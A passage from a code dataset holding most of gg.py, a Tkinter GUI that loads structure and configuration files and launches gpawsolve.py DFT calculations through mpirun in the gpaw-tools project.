'+str(bulk_configuration.get_potential_energy())+'\\n')\n", "id": "10831251", "language": "Python", "matching_score": 0.24104519188404083, "max_stars_count": 6, "path": "optimizations/optimize_kptsdensity.py" }, { "content": "#!/usr/bin/env python\n\n'''\ngg.py: GUI for gpawsolve.py\nUsage: $ gg.py\n'''\nimport os, io, sys\nfrom shlex import split\nimport tkinter as tk\nimport tkinter.ttk as ttk\nfrom tkinter import filedialog, BooleanVar, StringVar\nimport pathlib\nimport subprocess\nimport shutil\nfrom ase.visualize import view\nfrom ase.io import read, write\nimport webbrowser\n\nPROJECT_PATH = os.path.abspath(os.path.dirname(__file__))\nWORK_PATH = os.getcwd()\nclass gg:\n ''' Main class'''\n Struct = \"\"\n StructLoaded = False\n\n def __init__(self, master=None):\n global Elastic_calcvar, DOS_calcvar, Band_calcvar, Density_calcvar, Optical_calcvar, Spin_calcvar, GWppavar, GWq0correctionvar, GWnblockvar\n global EpsXvar, EpsYvar, EpsZvar, ShearYZvar, ShearXZvar, ShearXYvar, restartvar, Gammavar, Fix_symmetryvar\n global Struct, StructLoaded, GWbandinterpolationvar\n \n url = 'https://www.lrgresearch.org/gpaw-tools/'\n \n def OpenUrl(url):\n webbrowser.open_new(url)\n \n def onOpen():\n ''' This is the open button's behaviour on the first tab.'''\n global basename, basepath, textfilenamepath\n global Struct, StructLoaded\n textfile = filedialog.askopenfilename(initialdir = os.getcwd(), title = \"Open file\",\n filetypes = ((\"CIF files\",\"*.cif\"),\n (\"All files\",\"*.*\")))\n textfilenamepath = textfile\n p = pathlib.PurePath(textfilenamepath)\n basename = StringVar()\n basename = pathlib.Path(textfilenamepath).stem\n basepath = StringVar()\n basepath = p.parents[0]\n #textfile.close()\n self.text1.insert(tk.END, \"File opened: \"+basename+\" \\n\")\n # Opening a working directory\n #if not os.path.isdir(os.path.join(basepath,basename)):\n #os.makedirs(os.path.join(basepath,basename), exist_ok=True)\n asestruct = read(textfilenamepath, index='-1')\n Struct = asestruct\n StructLoaded = True\n write(os.path.join(p.parents[0], basename)+'_InitialStructure.png', asestruct)\n self.structureimage = tk.PhotoImage(file=os.path.join(p.parents[0], basename)+'_InitialStructure.png')\n self.button2.configure(image=self.structureimage, style='Toolbutton', text='button2')\n\n \n def onConfigOpen():\n ''' This is the Configuration file open button's behaviour on the first tab.'''\n global configname\n textfile = filedialog.askopenfilename(initialdir = WORK_PATH, title = \"Open file\",\n filetypes = ((\"PY files\",\"*.py\"),\n (\"All files\",\"*.*\")))\n configname = textfile\n # Prepare a temporary config file for process\n shutil.copy2(textfile, os.path.join(WORK_PATH,pathlib.Path(configname).stem+'_temp.py')) \n configname = os.path.join(WORK_PATH, pathlib.Path(configname).stem+'_temp.py')\n # Loading config file\n sys.path.append(WORK_PATH)\n config = __import__(pathlib.Path(configname).stem)\n\n \n # There must be some elegant way to do this.\n # Searching in globals() make us to use less parameters in config files. Otherwise not using a variable in\n # a congig file gives errors.\n \n # Mode\n self.text1.insert(tk.END, config.__dict__.keys())\n if 'Mode' in config.__dict__.keys():\n if config.Mode == 'PW':\n self.Modettk.current(0)\n elif config.Mode == 'PW-GW':\n self.Modettk.current(1)\n elif config.Mode == 'EXX':\n self.Modettk.current(2)\n elif config.Mode == 'LCAO':\n self.Modettk.current(3)\n elif config.Mode == 'FD':\n self.Modettk.current(4)\n else:\n self.Modettk.current(0)\n else:\n self.Modettk.current(2)\n\n # Elastic calculation \n if 'Elastic_calc' in config.__dict__.keys():\n if config.Elastic_calc == True:\n Elastic_calcvar.set(True)\n else:\n Elastic_calcvar.set(False)\n else:\n Elastic_calcvar.set(False)\n \n # DOS calculation \n if 'DOS_calc' in config.__dict__.keys():\n if config.DOS_calc == True:\n DOS_calcvar.set(True)\n else:\n DOS_calcvar.set(False)\n else:\n DOS_calcvar.set(False)\n\n # Band calculation\n if 'Band_calc' in config.__dict__.keys():\n if config.Band_calc == True:\n Band_calcvar.set(True)\n else:\n Band_calcvar.set(False)\n else:\n Band_calcvar.set(False)\n\n # Density calculation\n if 'Density_calc' in config.__dict__.keys():\n if config.Density_calc == True:\n Density_calcvar.set(True)\n else:\n Density_calcvar.set(False)\n else:\n Density_calcvar.set(False)\n\n # Optical calculation\n if 'Optical_calc' in config.__dict__.keys():\n if config.Optical_calc == True:\n Optical_calcvar.set(True)\n else:\n Optical_calcvar.set(False)\n else:\n Optical_calcvar.set(False)\n\n # Fmax\n if 'fmaxval' in config.__dict__.keys():\n self.fmaxvalttk.delete('0', 'end')\n self.fmaxvalttk.insert('0', config.fmaxval)\n else:\n self.fmaxvalttk.delete('0', 'end')\n self.fmaxvalttk.insert('0', '0.05')\n \n # Fix_symmetry \n if 'Fix_symmetry' in config.__dict__.keys():\n if config.Fix_symmetry == True:\n Fix_symmetryvar.set(True)\n else:\n Fix_symmetryvar.set(False)\n else:\n Fix_symmetryvar.set(False)\n\n # Cut-off energy\n if 'cut_off_energy' in config.__dict__.keys():\n self.cut_off_energyttk.delete('0', 'end')\n self.cut_off_energyttk.insert('0', config.cut_off_energy)\n else:\n self.cut_off_energyttk.delete('0', 'end')\n self.cut_off_energyttk.insert('0', '340')\n\n # Kpoints\n if 'kpts_x' in config.__dict__.keys():\n self.kpts_xttk.delete('0', 'end')\n self.kpts_xttk.insert('0', config.kpts_x)\n self.kpts_yttk.delete('0', 'end')\n self.kpts_yttk.insert('0', config.kpts_y)\n self.kpts_zttk.delete('0', 'end')\n self.kpts_zttk.insert('0', config.kpts_z)\n else:\n self.kpts_xttk.delete('0', 'end')\n self.kpts_xttk.insert('0', '1')\n self.kpts_yttk.delete('0', 'end')\n self.kpts_yttk.insert('0', '1')\n self.kpts_zttk.delete('0', 'end')\n self.kpts_zttk.insert('0', '1')\n\n # Gamma\n if 'Gamma' in config.__dict__.keys():\n if config.Gamma == True:\n Gammavar.set(True)\n else:\n Gammavar.set(False)\n else:\n Gammavar.set(False)\n\n # Band path\n if 'band_path' in config.__dict__.keys():\n self.band_pathttk.delete('0', 'end')\n self.band_pathttk.insert('0', config.band_path)\n else:\n self.band_pathttk.delete('0', 'end')\n self.band_pathttk.insert('0', 'GX')\n\n # Npoints\n if 'band_npoints' in config.__dict__.keys():\n self.band_npointsttk.delete('0', 'end')\n self.band_npointsttk.insert('0', config.band_npoints)\n else:\n self.band_npointsttk.delete('0', 'end')\n self.band_npointsttk.insert('0', '40')\n\n # Max energy for figure\n if 'energy_max' in config.__dict__.keys():\n self.energy_maxttk.delete('0', 'end')\n self.energy_maxttk.insert('0', config.energy_max)\n else:\n self.energy_maxttk.delete('0', 'end')\n self.energy_maxttk.insert('0', '15')\n\n \n # Hubbard\n if 'Hubbard' in config.__dict__.keys():\n self.Hubbardttk.delete('0', 'end')\n if hasattr(config, 'Hubbard'):\n self.Hubbardttk.insert('0', str(config.Hubbard))\n else:\n self.Hubbardttk.insert('0', '{}')\n else:\n self.Hubbardttk.delete('0', 'end')\n self.Hubbardttk.insert('0', '{}')\n\n # XCs\n if 'XC_calc' in config.__dict__.keys():\n if config.XC_calc == 'LDA':\n self.XC_calcttk.current(0)\n elif config.XC_calc == 'PBE':\n self.XC_calcttk.current(1)\n elif config.XC_calc == 'GLLBSC':\n self.XC_calcttk.current(2)\n elif config.XC_calc == 'revPBE':\n self.XC_calcttk.current(3)\n elif config.XC_calc == 'RPBE':\n self.XC_calcttk.current(4)\n elif config.XC_calc == 'PBE0':\n self.XC_calcttk.current(5)\n elif config.XC_calc == 'HSE06':\n self.XC_calcttk.current(6)\n else:\n self.XC_calcttk.current(0)\n else:\n self.XC_calcttk.current(0)\n\n # Ground_convergence\n if 'Ground_convergence' in config.__dict__.keys():\n self.Ground_convergencettk.delete('0', 'end')\n if hasattr(config, 'Ground_convergence'):\n self.Ground_convergencettk.insert('0', str(config.Ground_convergence))\n else:\n self.Ground_convergencettk.insert('0', '{}')\n else:\n self.Ground_convergencettk.delete('0', 'end')\n self.Ground_convergencettk.insert('0', '{}')\n\n # Band_convergence\n if 'Band_convergence' in config.__dict__.keys():\n self.Band_convergencettk.delete('0', 'end')\n if hasattr(config, 'Band_convergence'):\n self.Band_convergencettk.insert('0', str(config.Band_convergence))\n else:\n self.Band_convergencettk.insert('0', \"{'bands':8}\")\n else:\n self.Band_convergencettk.delete('0', 'end')\n self.Band_convergencettk.insert('0', \"{'bands':8}\")\n\n # Occupation\n if 'Occupation' in config.__dict__.keys():\n self.Occupationttk.delete('0', 'end')\n if hasattr(config, 'Occupation'):\n self.Occupationttk.insert('0', str(config.Occupation))\n else:\n self.Occupationttk.insert('0', \"{'name': 'fermi-dirac', 'width': 0.05}\")\n else:\n self.Occupationttk.delete('0', 'end')\n self.Occupationttk.insert('0', \"{'name': 'fermi-dirac', 'width': 0.05}\")\n\n # DOS number of points\n if 'DOS_npoints' in config.__dict__.keys():\n self.energy_maxttk.delete('0', 'end')\n self.energy_maxttk.insert('0', config.DOS_npoints)\n else:\n self.energy_maxttk.delete('0', 'end')\n self.energy_maxttk.insert('0', '501')\n\n # DOS smearing width\n if 'DOS_width' in config.__dict__.keys():\n self.energy_maxttk.delete('0', 'end')\n self.energy_maxttk.insert('0', config.DOS_width)\n else:\n self.energy_maxttk.delete('0', 'end')\n self.energy_maxttk.insert('0', '0.1')\n\n # Spin Calculation\n if 'Spin_calc' in config.__dict__.keys():\n if config.Spin_calc == True:\n Spin_calcvar.set(True)\n else:\n Spin_calcvar.set(False)\n else:\n Spin_calcvar.set(False)\n\n # Magnetic Moment\n if 'Magmom_per_atom' in config.__dict__.keys():\n self.Magmom_per_atomttk.delete('0', 'end')\n self.Magmom_per_atomttk.insert('0', config.Magmom_per_atom)\n else:\n self.Magmom_per_atomttk.delete('0', 'end')\n self.Magmom_per_atomttk.insert('0', '0.0')\n\n #Gridref for electron density\n if 'gridref' in config.__dict__.keys():\n self.gridrefttk.delete('0', 'end')\n self.gridrefttk.insert('0', config.gridref)\n else:\n self.gridrefttk.delete('0', 'end')\n self.gridrefttk.insert('0', '2') \n\n # ---------GW Parameters---------\n \n # GWtype\n if 'gridref' in config.__dict__.keys():\n if config.GWtype == 'GW0':\n self.GWtypettk.current(0)\n elif config.GWtype == 'G0W0':\n self.GWtypettk.current(1)\n else:\n self.GWtypettk.current(0)\n else:\n self.GWtypettk.current(0)\n \n # GWkpoints\n if 'GWkpoints' in config.__dict__.keys():\n self.GWkpointsttk.delete('0', 'end')\n if hasattr(config, 'GWkpoints'):\n self.GWkpointsttk.insert('0', str(config.GWkpoints.tolist()))\n else:\n self.GWkpointsttk.insert('0', '[[0.0, 0.0, 0.0], [1 / 3, 1 / 3, 0], [0.0, 0.0, 0.0]]')\n else:\n self.GWkpointsttk.delete('0', 'end')\n self.GWkpointsttk.insert('0', '[[0.0, 0.0, 0.0], [1 / 3, 1 / 3, 0], [0.0, 0.0, 0.0]]')\n \n # GWtruncation\n if 'GWtruncation' in config.__dict__.keys():\n if config.GWtruncation is None:\n self.GWtruncationttk.current(0)\n elif config.GWtruncation == '2D':\n self.GWtruncationttk.current(1)\n elif config.GWtruncation == '1D':\n self.GWtruncationttk.current(2)\n elif config.GWtruncation == '0D':\n self.GWtruncationttk.current(3)\n elif config.GWtruncation == 'wigner-seitz':\n self.GWtruncationttk.current(4)\n else:\n self.GWtruncationttk.current(0)\n else:\n self.GWtruncationttk.current(0)\n\n # GWcut_off_energy\n if 'GWcut_off_energy' in config.__dict__.keys():\n self.GWcut_off_energyttk.delete('0', 'end')\n self.GWcut_off_energyttk.insert('0', config.GWcut_off_energy)\n else:\n self.GWcut_off_energyttk.delete('0', 'end')\n self.GWcut_off_energyttk.insert('0', '50')\n\n # GWbandVB\n if 'GWbandVB' in config.__dict__.keys():\n self.GWbandVBttk.delete('0', 'end')\n self.GWbandVBttk.insert('0', config.GWbandVB)\n else:\n self.GWbandVBttk.delete('0', 'end')\n self.GWbandVBttk.insert('0', '8')\n\n # GWbandCB\n if 'GWbandCB' in config.__dict__.keys():\n self.GWbandCBttk.delete('0', 'end')\n self.GWbandCBttk.insert('0', config.GWbandCB)\n else:\n self.GWbandCBttk.delete('0', 'end')\n self.GWbandCBttk.insert('0', '18')\n\n # GWppa\n if 'GWppa' in config.__dict__.keys():\n if config.GWppa == True:\n GWppavar.set(True)\n else:\n GWppavar.set(False)\n else:\n GWppavar.set(False)\n \n # GWq0correction\n if 'GWq0correction' in config.__dict__.keys():\n if config.GWq0correction == True:\n GWq0correctionvar.set(True)\n else:\n GWq0correctionvar.set(False)\n else:\n GWq0correctionvar.set(False)\n\n # GWnblock\n if 'GWnblock' in config.__dict__.keys():\n if config.GWnblock == True:\n GWnblockvar.set(True)\n else:\n GWnblockvar.set(False)\n else:\n GWnblockvar.set(False)\n\n # GWbandinterpolation\n if 'GWbandinterpolation' in config.__dict__.keys():\n if config.GWbandinterpolation == True:\n GWbandinterpolationvar.set(True)\n else:\n GWbandinterpolationvar.set(False)\n else:\n GWbandinterpolationvar.set(True)\n\n # ---------Optical------------\n\n # Type\n if 'opttype' in config.__dict__.keys():\n if config.opttype == 'BSE':\n self.opttypettk.current(0)\n elif config.opttype == 'RPA':\n self.opttypettk.current(1)\n else:\n self.opttypettk.current(0)\n else:\n self.opttypettk.current(0)\n \n # Shifting\n if 'optshift' in config.__dict__.keys():\n self.optshiftttk.delete('0', 'end')\n self.optshiftttk.insert('0', config.optshift)\n else:\n self.optshiftttk.delete('0', 'end')\n self.optshiftttk.insert('0', '0.0')\n \n # Valance bands for BSE calculation\n if 'optBSEvb' in config.__dict__.keys():\n self.optBSEvbttk.delete('0', 'end')\n if hasattr(config, 'optBSEvb'):\n self.optBSEvbttk.insert('0', str(config.optBSEvb))\n else:\n self.optBSEvbttk.insert('0', 'range(0,4)')\n else:\n self.optBSEvbttk.delete('0', 'end')\n self.optBSEvbttk.insert('0', 'range(0,4)')\n \n # Conduction bands for BSE calculation\n if 'optBSEcb' in config.__dict__.keys():\n self.optBSEcbttk.delete('0', 'end')\n if hasattr(config, 'optBSEcb'):\n self.optBSEcbttk.insert('0', str(config.optBSEcb))\n else:\n self.optBSEcbttk.insert('0', 'range(4,7)')\n else:\n self.optBSEcbttk.delete('0', 'end')\n self.optBSEcbttk.insert('0', 'range(4,7)')\n \n # Minimum energy value for BSE calculation\n if 'optBSEminEn' in config.__dict__.keys():\n self.optBSEminEnttk.delete('0', 'end')\n self.optBSEminEnttk.insert('0', config.optBSEminEn)\n else:\n self.optBSEminEnttk.delete('0', 'end')\n self.optBSEminEnttk.insert('0', '0.0')\n \n # Maximum energy value for BSE calculation\n if 'optBSEmaxEn' in config.__dict__.keys():\n self.optBSEmaxEnttk.delete('0', 'end')\n self.optBSEmaxEnttk.insert('0', config.optBSEmaxEn)\n else:\n self.optBSEmaxEnttk.delete('0', 'end')\n self.optBSEmaxEnttk.insert('0', '20.0')\n \n # Number of data for BSE calculation\n if 'optBSEnumdata' in config.__dict__.keys():\n self.optBSEnumdatattk.delete('0', 'end')\n self.optBSEnumdatattk.insert('0', config.optBSEnumdata)\n else:\n self.optBSEnumdatattk.delete('0', 'end')\n self.optBSEnumdatattk.insert('0', '1001')\n \n # Number of bands\n if 'num_of_bands' in config.__dict__.keys():\n self.num_of_bandsttk.delete('0', 'end')\n self.num_of_bandsttk.insert('0', config.num_of_bands)\n else:\n self.num_of_bandsttk.delete('0', 'end')\n self.num_of_bandsttk.insert('0', '16')\n\n # Fermi-Dirac Smearing\n if 'optFDsmear' in config.__dict__.keys():\n self.optFDsmearttk.delete('0', 'end')\n self.optFDsmearttk.insert('0', config.optFDsmear)\n else:\n self.optFDsmearttk.delete('0', 'end')\n self.optFDsmearttk.insert('0', '0.05')\n\n # Eta\n if 'opteta' in config.__dict__.keys():\n self.optetattk.delete('0', 'end')\n self.optetattk.insert('0', config.opteta)\n else:\n self.optetattk.delete('0', 'end')\n self.optetattk.insert('0', '0.05')\n\n # DOmega0\n if 'optdomega0' in config.__dict__.keys():\n self.optdomega0ttk.delete('0', 'end')\n self.optdomega0ttk.insert('0', config.optdomega0)\n else:\n self.optdomega0ttk.delete('0', 'end')\n self.optdomega0ttk.insert('0', '0.05')\n\n # Optical nblocks\n if 'optnblocks' in config.__dict__.keys():\n self.optnblocksttk.delete('0', 'end')\n self.optnblocksttk.insert('0', config.optnblocks)\n else:\n self.optnblocksttk.delete('0', 'end')\n self.optnblocksttk.insert('0', '4')\n \n # Omega2\n if 'optomega2' in config.__dict__.keys():\n self.optomega2ttk.delete('0', 'end')\n self.optomega2ttk.insert('0', config.optomega2)\n else:\n self.optomega2ttk.delete('0', 'end')\n self.optomega2ttk.insert('0', '5.0')\n\n # Optical cut off\n if 'optecut' in config.__dict__.keys():\n self.optecutttk.delete('0', 'end')\n self.optecutttk.insert('0', config.optecut)\n else:\n self.optecutttk.delete('0', 'end')\n self.optecutttk.insert('0', '100')\n\n # Strain-Shear\n if 'whichstrain' in config.__dict__.keys():\n if config.whichstrain[0] == True:\n EpsXvar.set(True)\n else:\n EpsXvar.set(False)\n\n if config.whichstrain[1] == True:\n EpsYvar.set(True)\n else:\n EpsYvar.set(False)\n\n if config.whichstrain[2] == True:\n EpsZvar.set(True)\n else:\n EpsZvar.set(False)\n\n if config.whichstrain[3] == True:\n ShearYZvar.set(True)\n else:\n ShearYZvar.set(False)\n\n if config.whichstrain[4] == True:\n ShearXZvar.set(True)\n else:\n ShearXZvar.set(False)\n\n if config.whichstrain[5] == True:\n ShearXYvar.set(True)\n else:\n ShearXYvar.set(False)\n else:\n EpsXvar.set(False)\n EpsYvar.set(False)\n EpsZvar.set(False)\n ShearYZvar.set(False)\n ShearXZvar.set(False)\n ShearXYvar.set(False)\n\n #Core number\n if 'MPIcores' in config.__dict__.keys():\n self.MPIcoresttk.delete('0', 'end')\n self.MPIcoresttk.insert('0', config.MPIcores)\n else:\n self.MPIcoresttk.delete('0', 'end')\n self.MPIcoresttk.insert('0', '1')\n \n # Text for textbox\n self.text1.insert(tk.END, \"Configuration loaded, please continue with Input parameters tab \\n\")\n\n def onCalculate():\n '''Calculate button's behaviour'''\n #Firstly, lets save all options to config file.\n with open(configname, 'w') as f1:\n print(\"import numpy as np\", end=\"\\n\", file=f1)\n\n # ---------Ground------------\n if self.Modettk.get() == 'PW':\n print(\"Mode = 'PW'\", end=\"\\n\", file=f1)\n elif self.Modettk.get() == 'PW-GW':\n print(\"Mode = 'PW-GW'\", end=\"\\n\", file=f1)\n elif self.Modettk.get() == 'EXX':\n print(\"Mode = 'EXX'\", end=\"\\n\", file=f1)\n elif self.Modettk.get() == 'LCAO':\n print(\"Mode = 'LCAO'\", end=\"\\n\", file=f1)\n elif self.Modettk.get() == 'FD':\n print(\"Mode = 'FD'\", end=\"\\n\", file=f1)\n else:\n print(\"Mode = 'PW'\", end=\"\\n\", file=f1)\n # Elastic_calc\n print(\"Elastic_calc = \"+ str(Elastic_calcvar.get()), end=\"\\n\", file=f1)\n # DOS_calc\n print(\"DOS_calc = \"+ str(DOS_calcvar.get()), end=\"\\n\", file=f1)\n # Band_calc\n print(\"Band_calc = \"+ str(Band_calcvar.get()), end=\"\\n\", file=f1)\n # Density_calc\n print(\"Density_calc = \"+ str(Density_calcvar.get()), end=\"\\n\", file=f1)\n # Optical_calc\n print(\"Optical_calc = \"+ str(Optical_calcvar.get()), end=\"\\n\", file=f1)\n # ---------Electronic------------\n # fmaxval\n print(\"fmaxval = \"+ str(self.fmaxvalttk.get()), end=\"\\n\", file=f1)\n #Fix_symmetry\n print(\"Fix_symmetry = \"+ str(Fix_symmetryvar.get()), end=\"\\n\", file=f1)\n # cut_off_energy\n print(\"cut_off_energy = \"+ str(self.cut_off_energyttk.get()), end=\"\\n\", file=f1)\n # kpoints\n print(\"kpts_x = \"+ str(self.kpts_xttk.get()), end=\"\\n\", file=f1)\n print(\"kpts_y = \"+ str(self.kpts_yttk.get()), end=\"\\n\", file=f1)\n print(\"kpts_z = \"+ str(self.kpts_zttk.get()), end=\"\\n\", file=f1)\n # Gamma\n print(\"Gamma = \"+ str(Gammavar.get()), end=\"\\n\", file=f1)\n # band_path\n print(\"band_path = '\"+ str(self.band_pathttk.get())+\"'\", end=\"\\n\", file=f1)\n # band_npoints\n print(\"band_npoints = \"+ str(self.band_npointsttk.get()), end=\"\\n\", file=f1)\n # energy_max\n print(\"energy_max = \"+ str(self.energy_maxttk.get()), end=\"\\n\", file=f1)\n # Hubbard\n print(\"Hubbard = \"+ str(self.Hubbardttk.get()), end=\"\\n\", file=f1)\n # Exchange-Correlation\n if self.XC_calcttk.get() == 'LDA':\n print(\"XC_calc = 'LDA'\", end=\"\\n\", file=f1)\n elif self.XC_calcttk.get() == 'PBE':\n print(\"XC_calc = 'PBE'\", end=\"\\n\", file=f1)\n elif self.XC_calcttk.get() == 'GLLBSC':\n print(\"XC_calc = 'GLLBSC'\", end=\"\\n\", file=f1)\n elif self.XC_calcttk.get() == 'revPBE':\n print(\"XC_calc = 'revPBE'\", end=\"\\n\", file=f1)\n elif self.XC_calcttk.get() == 'RPBE':\n print(\"XC_calc = 'RPBE'\", end=\"\\n\", file=f1)\n elif self.XC_calcttk.get() == 'PBE0':\n print(\"XC_calc = 'PBE0'\", end=\"\\n\", file=f1)\n elif self.XC_calcttk.get() == 'HSE06':\n print(\"XC_calc = 'HSE06'\", end=\"\\n\", file=f1)\n else:\n print(\"XC_calc = 'LDA'\", end=\"\\n\", file=f1)\n # Ground_convergence\n print(\"Ground_convergence = \"+ str(self.Ground_convergencettk.get()), end=\"\\n\", file=f1)\n # Band_convergence\n print(\"Band_convergence = \"+ str(self.Band_convergencettk.get()), end=\"\\n\", file=f1)\n # Occupation\n print(\"Occupation = \"+ str(self.Occupationttk.get()), end=\"\\n\", file=f1)\n # DOS_npoints\n print(\"DOS_npoints = \"+ str(self.DOS_npointsttk.get()), end=\"\\n\", file=f1)\n # DOS_width\n print(\"DOS_width = \"+ str(self.DOS_widthttk.get()), end=\"\\n\", file=f1)\n # Spin_calc\n print(\"Spin_calc = \"+ str(Spin_calcvar.get()), end=\"\\n\", file=f1)\n # Magmom_per_atom\n print(\"Magmom_per_atom = \"+ str(self.Magmom_per_atomttk.get()), end=\"\\n\", file=f1)\n # gridref\n print(\"gridref = \"+ str(self.gridrefttk.get()), end=\"\\n\", file=f1)\n \n # ---------GW Parameters------------\n # GWtype\n if self.GWtypettk.get() == 'GW0':\n print(\"GWtype = 'GW0'\", end=\"\\n\", file=f1)\n elif self.GWtypettk.get() == 'G0W0':\n print(\"GWtype = 'G0W0'\", end=\"\\n\", file=f1)\n else:\n print(\"GWtype = 'GW0'\", end=\"\\n\", file=f1)\n # GWtruncation\n if self.GWtruncationttk.get() == '':\n print(\"GWtruncation = None\", end=\"\\n\", file=f1)\n elif self.GWtruncationttk.get() == '2D':\n print(\"GWtruncation = '2D'\", end=\"\\n\", file=f1)\n elif self.GWtruncationttk.get() == '1D':\n print(\"GWtruncation = '1D'\", end=\"\\n\", file=f1)\n elif self.GWtruncationttk.get() == '0D':\n print(\"GWtruncation = '0D'\", end=\"\\n\", file=f1)\n else:\n print(\"GWtruncation = 'wigner-seitz'\", end=\"\\n\", file=f1) \n # GWkpoints\n print(\"GWkpoints = np.array(\"+ str(self.GWkpointsttk.get())+\")\", end=\"\\n\", file=f1)\n # GWcut_off_energy\n print(\"GWcut_off_energy = \"+ str(self.GWcut_off_energyttk.get()), end=\"\\n\", file=f1)\n # GWbandVB\n print(\"GWbandVB = \"+ str(self.GWbandVBttk.get()), end=\"\\n\", file=f1)\n # GWbandCB\n print(\"GWbandCB = \"+ str(self.GWbandCBttk.get()), end=\"\\n\", file=f1)\n # GWppa\n print(\"GWppa = \"+ str(GWppavar.get()), end=\"\\n\", file=f1)\n # GWq0correction\n print(\"GWq0correction = \"+ str(GWq0correctionvar.get()), end=\"\\n\", file=f1)\n # GWnblock\n print(\"GWnblock = \"+ str(GWnblockvar.get()), end=\"\\n\", file=f1)\n # GWbandinterpolation\n print(\"GWbandinterpolation = \"+ str(GWbandinterpolationvar.get()), end=\"\\n\", file=f1)\n\n # ---------Optical------------\n # opttype\n if self.opttypettk.get() == 'BSE':\n print(\"opttype = 'BSE'\", end=\"\\n\", file=f1)\n elif self.opttypettk.get() == 'RPA':\n print(\"opttype = 'RPA'\", end=\"\\n\", file=f1)\n else:\n print(\"opttype = 'BSE'\", end=\"\\n\", file=f1)\n # optshift\n print(\"optshift = \"+ str(self.optshiftttk.get()), end=\"\\n\", file=f1)\n # optBSEvb\n print(\"optBSEvb = \"+ str(self.optBSEvbttk.get()), end=\"\\n\", file=f1)\n # optBSEcb\n print(\"optBSEcb = \"+ str(self.optBSEcbttk.get()), end=\"\\n\", file=f1)\n # optBSEminEn\n print(\"optBSEminEn = \"+ str(self.optBSEminEnttk.get()), end=\"\\n\", file=f1)\n # optBSEmaxEn\n print(\"optBSEmaxEn = \"+ str(self.optBSEmaxEnttk.get()), end=\"\\n\", file=f1)\n # optBSEnumdata\n print(\"optBSEnumdata = \"+ str(self.optBSEnumdatattk.get()), end=\"\\n\", file=f1)\n # num_of_bands\n print(\"num_of_bands = \"+ str(self.num_of_bandsttk.get()), end=\"\\n\", file=f1)\n # optFDsmear\n print(\"optFDsmear = \"+ str(self.optFDsmearttk.get()), end=\"\\n\", file=f1)\n # opteta\n print(\"opteta = \"+ str(self.optetattk.get()), end=\"\\n\", file=f1)\n # optdomega0\n print(\"optdomega0 = \"+ str(self.optdomega0ttk.get()), end=\"\\n\", file=f1)\n # optnblocks\n print(\"optnblocks = \"+ str(self.optnblocksttk.get()), end=\"\\n\", file=f1)\n # optomega2\n print(\"optomega2 = \"+ str(self.optomega2ttk.get()), end=\"\\n\", file=f1)\n # optecut\n print(\"optecut = \"+ str(self.optecutttk.get()), end=\"\\n\", file=f1)\n \n # ------------Other------------\n # whichstrain\n print(\"whichstrain = [\"+str(EpsXvar.get())+\", \"+str(EpsYvar.get())+\", \"+str(EpsZvar.get())+\", \"+str(ShearYZvar.get())+\", \"+str(ShearXZvar.get())+\", \"+str(ShearXYvar.get())+\"]\", end=\"\\n\", file=f1)\n\n # This feature is not used by gpawsolve.py, this is only usable for gg.py\n print(\"MPIcores = \"+ str(self.MPIcoresttk.get()), end=\"\\n\", file=f1)\n\n # Running the gpawsolve.py. Firstly, let's define a command, then proceed it.\n if restartvar == True:\n gpawcommand = 'mpirun -np '+str(self.MPIcoresttk.get())+' gpawsolve.py -o -r -d -i '+str(configname)+' -g '+str(textfilenamepath)\n else:\n gpawcommand = 'mpirun -np '+str(self.MPIcoresttk.get())+' gpawsolve.py -o -d -i '+str(configname)+' -g '+str(textfilenamepath)\n proc = subprocess.Popen(split(gpawcommand), shell=False, stdout = subprocess.PIPE)\n self.text1.insert(tk.END, \"Command executed: \"+gpawcommand+\" \\n\")\n\n # Save stdout as a log\n #sys.path.append(os.path.abspath(configname))\n #config = __import__(pathlib.Path(configname).stem)\n \n #Looking for working directory\n if not os.path.isdir(os.path.join(os.path.dirname(configname), basename)):\n os.makedirs(os.path.join(os.path.dirname(configname), basename), exist_ok=True)\n \n with open(os.path.join(os.path.join(os.path.dirname(configname), basename), basename)+\"-STDOUT-Log.txt\", 'w') as f2:\n for line in io.TextIOWrapper(proc.stdout, encoding=\"utf-8\"): # or another encoding\n self.text4.insert(tk.END, line)\n print(line, end=\"\\n\", file=f2)\n self.text1.insert(tk.END, \"Calculation finished... \\n\")\n self.text1.insert(tk.END, \"STDOUT is also saved as log file. \\n\")\n\n # Read final cif file and save it as png:\n # /home/sblisesivdin/gpaw-tools-main/Cr2O_mp-1206821_primitive/Cr2O_mp-1206821_primitive-STDOUT-Log.txt\n asestruct = read(os.path.join(os.path.join(os.path.dirname(configname), basename), basename)+\"-Final.cif\", index='-1')\n write(os.path.join(os.path.join(os.path.dirname(configname), basename), basename)+'_FinalStructure.png', asestruct),\n \n shutil.move(os.path.join(basepath, basename)+'_InitialStructure.png', os.path.join(os.path.join(os.path.dirname(configname), basename), basename+'_InitialStructure.png'))\n os.remove(configname)\n self.text1.insert(tk.END, \"Initial and Final Structure PNG files are saved to \"+os.path.dirname(configname)+\"/\"+basename+\" folder \\n\")\n\n def onASEload():\n '''When the user click on the structure image'''\n global Struct, StructLoaded\n if StructLoaded == True:\n # Open ASE GUI\n view(Struct)\n \n # build gui\n self.toplevel1 = tk.Tk() if master is None else tk.Toplevel(master)\n\n # --------- Load Structure tab -----------------\n self.frame2 = ttk.Frame(self.toplevel1)\n self.notebookUpper = ttk.Notebook(self.frame2)\n self.frame1 = ttk.Frame(self.notebookUpper)\n self.loadCIFfilettk = ttk.Button(self.frame1)\n self.loadCIFfilettk.configure(state='normal', text='Load Input (CIF, XSF, XSD, XYZ, etc.) File')\n self.loadCIFfilettk.pack(pady='10', side='top')\n self.loadCIFfilettk.configure(command=onOpen)\n \n self.loadConfigfilettk = ttk.Button(self.frame1)\n self.loadConfigfilettk.configure(state='normal', text='Load Configuration File')\n self.loadConfigfilettk.pack(pady='10', side='top')\n self.loadConfigfilettk.configure(command=onConfigOpen)\n\n self.button2 = ttk.Button(self.frame1)\n self.structureimage = tk.PhotoImage(file=os.path.join(PROJECT_PATH,'gui_files/gpaw-tools.png'))\n self.button2.configure(image=self.structureimage, style='Toolbutton', text='button2')\n self.button2.pack(side='top')\n self.button2.configure(command=onASEload)\n self.frame1.configure(height='200', width='200')\n self.frame1.pack(side='top')\n\n\n self.notebookUpper.add(self.frame1, text='Load Structure')\n \n # ----------- Input Parameters tab ----------------\n self.frame4 = ttk.Frame(self.notebookUpper)\n self.frame5 = ttk.Frame(self.frame4)\n \n # Labelframe1: Calculator Settings -------------------------------\n self.labelframe1 = ttk.Labelframe(self.frame5)\n\n # Label\n self.frame6 = 